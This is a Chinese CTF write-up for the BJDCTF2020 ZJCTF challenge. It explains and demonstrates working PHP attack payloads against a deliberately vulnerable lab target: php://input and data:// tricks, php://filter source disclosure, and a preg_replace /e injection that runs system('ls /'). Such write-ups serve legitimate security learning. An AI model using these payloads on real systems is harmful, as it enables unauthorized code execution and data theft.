当前位置:   article > 正文

[BJDCTF2020]ZJCTF,不过如此1

[BJDCTF2020]ZJCTF,不过如此1

打开题目可以看到一段php文件包含,源码如下

  1. <?php
  2. error_reporting(0);
  3. $text = $_GET["text"];
  4. $file = $_GET["file"];
  5. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
  6. echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  7. if(preg_match("/flag/",$file)){
  8. die("Not now!");
  9. }
  10. include($file); //next.php
  11. }
  12. else{
  13. highlight_file(__FILE__);
  14. }
  15. ?>

简单分析一下这段代码,代码通过GET方法来传入text和file两个参数,并且传入的text参数通过file_get_contents函数以只读的方式打开,而且当它强等于"I have a dream"这个字符串是,才能够去输出并且去执行下面的那个if判断。下面的那个if判断只是简单地判断了一下file传入的值中是否包含flag这个字符串,如果包含的话,则会输出"Not now!",否则就会去包含file传入的这个文件参数。

关于file_get_contents函数的利用手法,看这里PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客大佬总结的特别好,我好爱。

在本题中file_get_contents函数的利用如下(burpsuite抓包)

POST /?text=php://input

……

……

……

I have a dream 

 可以看到通过这个办法是成功过了第一个if

看了一些博客还有一下是通过data协议来绕过的,直接就是?text=data://text/pain,I have a dream

在上面大佬的博客总结中也有提到。

那么第一个if绕过了接下来就是第二个if了,可以看到源码中是包含了文件,并且给了提示那么我们就可以通过php伪协议来读取next.php里面的内容了

我们利用php://filter协议来读取next.php内容,于是我们在burpsuite中就可以添加上file=php://filter/convert.base64-encode/resource=next.php,然后就得到了next.php的源码。

我们将返回的base64解码就是next.php的源码了,源码如下

  1. <?php
  2. $id = $_GET['id'];
  3. $_SESSION['id'] = $id;
  4. function complex($re, $str) {
  5. return preg_replace(
  6. '/(' . $re . ')/ei',
  7. 'strtolower("\\1")',
  8. $str
  9. );
  10. }
  11. foreach($_GET as $re => $str) {
  12. echo complex($re, $str). "\n";
  13. }
  14. function getFlag(){
  15. @eval($_GET['cmd']);
  16. }

先学习一下preg_replace函数PHP preg_replace() 函数 | 菜鸟教程 (runoob.com)

函preg_replace 函数执行一个正则表达式的搜索和替换。

preg_replace ( $pattern , $replacement , $subject)

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组

  • $replacement: 用于替换的字符串或字符串数组。

  • $subject: 要搜索替换的目标字符串或字符串数组。

返回值:

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

 在next.php中,complex函数中使用了preg_replace /e模式,这会导致preg_replace中的第二个参数会被当做代码执行,但是这里的第二个参数是一个不可变的,但是存在一种特殊的情况:

在正则表达式替换中,strtolower("\\1") 这一部分中:

\\1 代表第一个捕获组中的内容。在正则表达式中,用圆括号 () 括起来的部分就是捕获组。捕获组中的内容会被记住,并且可以在替换字符串中引用。\1 是第一个捕获组的引用,在双引号字符串中需要用 \\1 来表示。

strtolower函数的作用是把字符串转化成小写。

  1. preg_replace(
  2. '/(' . $re . ')/ei',
  3. 'strtolower("\\1")',
  4. $str
  5. );

那么这段代码作用就是

  • 找到 $str 中匹配正则表达式 ($re) 的部分。
  • 将匹配到的部分传递给 strtolower 函数。
  • strtolower 函数的返回值替换原匹配的部分。

示例:

preg_replace('/(\w+)/ei', 'strtolower("\\1")', 'Hello World');

这段代码会将 HelloWorld 都转换为小写,结果是 hello world

那么这样一来这段代码执行的就是preg_replace中的第三个参数了,这样即使第二个参数是不可变的也可以执行代码。

这样的话我们只需要利用这个方法来执行getFlag()函数,在传入cmd来执行命令就可以了

构造paylaod=/next.php?\S*=${getFlag()}&cmd=system('ls /') ;

解释一下:

\S*:匹配任意非空白字符。

\S*=${getFlag()}:这将构造一个匹配,并且将捕获组的内容作为代码执行。

也就是这段代码会遍历传入的GET参数,将GET传入的变量名给了$re,把变量名的值给了$str,那么这样在传入paylaod的时候preg_replace会变成

preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');

那么执行完的界面就是

发现flag,换一下命令就可以了,得到flag

参考文章:

[BUUCTF][BJDCTF2020]ZJCTF,不过如此1(做题记录_[bjdctf2020]zjctf,不过如此 1-CSDN博客

BUUCTF:[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此-CSDN博客

PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/爱喝兽奶帝天荒/article/detail/751783
推荐阅读
相关标签
  

闽ICP备14008679号